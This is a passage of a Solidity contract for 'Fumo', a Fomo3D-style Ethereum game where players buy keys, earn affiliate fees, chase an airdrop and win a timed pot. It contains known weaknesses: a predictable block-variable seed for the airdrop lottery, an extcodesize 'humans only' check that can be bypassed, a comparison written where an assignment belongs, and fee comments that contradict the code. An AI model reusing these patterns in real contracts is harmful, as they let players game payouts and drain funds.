SuohaKeysCalcLong for uint256; address community_addr = 0x82B0721A8c142C6203F4cF58f80629E15b02a504; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xA80aFF4455a89667de2b892aa2B0AF60aA5d2532 ); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== string constant public name = "Fumo"; string constant public symbol = "Fumo"; uint256 private rndExtra_ = 0; // length of the very first ICO uint256 private rndGap_ = 0; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 30 minutes; // round timer starts at this uint256 constant private rndInc_ = 10 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 1 hours; // max length a round timer can be // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => Suohadatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => Suohadatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => Suohadatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => Suohadatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => Suohadatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (Suoha, 0) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = Suohadatasets.TeamFee(30,0); //46% to pot, 20% to aff, 2% to com, 2% to air drop pot fees_[1] = Suohadatasets.TeamFee(43,0); //33% to pot, 20% to aff, 2% to com, 2% to air drop pot fees_[2] = Suohadatasets.TeamFee(56,0); //20% to pot, 20% to aff, 2% to com, 2% to air drop pot fees_[3] = Suohadatasets.TeamFee(43,8); //33% to pot, 20% to aff, 2% to com, 2% to air drop pot // how to split up the final pot based on which team was picked // (Suoha, 0) potSplit_[0] = Suohadatasets.PotSplit(15,0); //48% to winner, 25% to next round, 12% to com potSplit_[1] = Suohadatasets.PotSplit(20,0); //48% to winner, 20% to next round, 12% to com potSplit_[2] = Suohadatasets.PotSplit(25,0); //48% to winner, 15% to next round, 12% to com potSplit_[3] = Suohadatasets.PotSplit(30,0); //48% to winner, 10% to next round, 12% to com } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. "); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data Suohadatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data Suohadatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data Suohadatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data Suohadatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit Suohaevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit Suohaevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit Suohaevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, Suohadatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit Suohaevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(Suohadatasets.EventReturns memory _eventData_) private returns (Suohadatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, Suohadatasets.EventReturns memory _eventData_) private returns (Suohadatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(Suohadatasets.EventReturns memory _eventData_) private returns (Suohadatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot.mul(6) / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards community_addr.transfer(_com); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = 0; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_) private returns(Suohadatasets.EventReturns) { // pay 2% out to community rewards uint256 _com = _eth / 50; // distribute share to affiliate uint256 _aff = _eth / 5; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit Suohaevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _com = _com.add(_aff); } community_addr.transfer(_com); return(_eventData_); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, Suohadatasets.EventReturns memory _eventData_) private 